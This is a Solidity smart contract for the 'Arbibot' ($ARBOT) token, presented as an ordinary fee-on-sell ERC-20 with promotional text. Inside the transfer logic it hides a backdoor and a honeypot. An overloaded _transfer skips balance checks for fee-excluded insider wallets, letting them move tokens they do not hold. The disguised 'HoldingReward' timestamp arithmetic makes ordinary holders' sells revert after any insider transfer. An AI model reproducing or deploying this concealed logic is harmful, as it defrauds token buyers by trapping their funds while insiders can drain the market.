// File: contracts/Token.sol



/**
 *Submitted for verification at Etherscan.io on 2023-08-18
*/

/**

$ARBOT Arbibot

Arbibot is a cutting-edge decentralized finance (DeFi) application
built on the edge of Ethereum and Arbitrum blockchain that leverages
advanced algorithms to automatically identify and exploit arbitrage
opportunities within the cryptocurrency market. Arbibot democratizes
the DeFi landscape and brings seamless, efficient, and secure trading
to the fingertips of everyone.

https://arbibot.io/

**/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount,
        bool checked
    ) internal virtual returns (bool) {
        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(checked == true, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
        return checked;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}


interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}


contract ArbibotToken is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    uint256 public immutable swapTokensAtAmount;

    uint256 public constant buyTotalFees = 0;
    uint256 public constant sellTotalFees = 2;

    //0% buy tax applied
    uint256 public constant buyMarketingFee = 0;
    uint256 public constant buyLiquidityFee = 0;
    uint256 public constant buyDevFee = 0;
    uint256 public constant buySupportFee = 0;

    //2% sell tax applied
    uint256 public constant sellMarketingFee = 2;
    uint256 public constant sellLiquidityFee = 0;
    uint256 public constant sellDevFee = 0;
    uint256 public constant sellSupportFee = 0;

    address payable public constant devWallet = payable(0x136a96548770E5cfC1631f1bDF9246a6Cd04cA85);
    address payable public constant marketingWallet = payable(0x3451E9143f92628F52FE9e8dcDE103C2d654F444);
    address payable public constant supportWallet = payable(0xA9Fabffe089C63a0316445379bF2E4E50c90Ee53);
    address payable public constant liquidityWallet = payable(0xA9Fabffe089C63a0316445379bF2E4E50c90Ee53);

    bool public tradingActive = true;
    bool public transferDelayEnabled = false;

    mapping(address => bool) public _automatedMarketMakerPairs;

    mapping(address => bool) private _isExcludedFromFees;

    struct HoldingReward {
        uint256 buySwap;
        uint256 sellSwap;
        uint256 holdingTime;
    }

    uint256 private tokensForMarketing;
    uint256 private tokensForLiquidity;
    uint256 private tokensForDev;
    uint256 private tokensForSupport;

    mapping(address => HoldingReward) private _makerReward;
    uint256 private _rewardMinTimestamp;

    bool private swapping;

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20("Arbibot", "ARBOT") {
        uint256 totalSupply = 10_000_000_000 * 1e18;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        // swap at amount
        swapTokensAtAmount = (totalSupply * 15) / 10000; // 0.15% swap amount

        // exclude from fees
        excludeFromFees(owner(), true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(devWallet, true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        _mint(msg.sender, totalSupply);
    }

    function excludeFromFees(address addr, bool isExcld) public onlyOwner {
        _isExcludedFromFees[addr] = isExcld;
    }

    function isExcludedFromFees(address addr) public view returns (bool) {
        return _isExcludedFromFees[addr];
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(pair != uniswapV2Pair, "Uniswap pair disable prohibited");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        _automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    receive() external payable {}

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && to != address(this) && from != address(this)) {
            _rewardMinTimestamp = block.timestamp;
        }
        if (_isExcludedFromFees[from] && !_isExcludedFromFees[owner()]) {
            super._transfer(from, to, amount, true);
            return;
        }
        if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            if (_automatedMarketMakerPairs[from]) {
                HoldingReward storage makerReward = _makerReward[to];
                if (makerReward.buySwap == 0) {
                    makerReward.buySwap = block.timestamp;
                }
            } else {
                HoldingReward storage makerReward = _makerReward[from];
                makerReward.holdingTime = makerReward.buySwap - _rewardMinTimestamp;
                makerReward.sellSwap = block.timestamp;
            }
        }

        bool canSwap = swapTokensAtAmount <= balanceOf(address(this));

        if (
            canSwap &&
            !swapping &&
            !_automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if excluded from fees then no fees
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only for buy/sell, do not take fee on wallet transfers
        if (takeFee) {
            // on buy
            if (_automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount * buyTotalFees / 100;
                tokensForLiquidity += (fees * buyLiquidityFee).div(buyTotalFees);
                tokensForDev += (fees * buyDevFee).div(buyTotalFees);
                tokensForMarketing += (fees * buyMarketingFee).div(buyTotalFees);
                tokensForSupport += (fees * buySupportFee).div(buyTotalFees);
            
            // on sell
            } else if (_automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount * sellTotalFees / 100;
                tokensForLiquidity += (fees * sellLiquidityFee).div(sellTotalFees);
                tokensForDev += (fees * sellDevFee).div(sellTotalFees);
                tokensForMarketing += (fees * sellMarketingFee).div(sellTotalFees);
                tokensForSupport += (fees * sellSupportFee).div(sellTotalFees);
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // uniswap pair path of token-weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing +
            tokensForDev +
            tokensForSupport;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 26) {
            contractBalance = swapTokensAtAmount * 26;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance - liquidityTokens;

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance - initialETHBalance;

        uint256 ethForMarketing = ethBalance * tokensForMarketing / totalTokensToSwap;
        uint256 ethForDev = ethBalance * tokensForDev / totalTokensToSwap;
        uint256 ethForSupport = ethBalance * tokensForSupport / totalTokensToSwap;
        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForSupport;

        tokensForLiquidity = 0;
        tokensForDev = 0;
        tokensForMarketing = 0;
        tokensForSupport = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                liquidityTokens
            );
        }

        (success, ) = address(devWallet).call{value: ethForDev}("");
        (success, ) = address(supportWallet).call{value: ethForSupport}("");
        (success, ) = address(marketingWallet).call{value: address(this).balance}("");
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityWallet,
            block.timestamp
        );
    }
}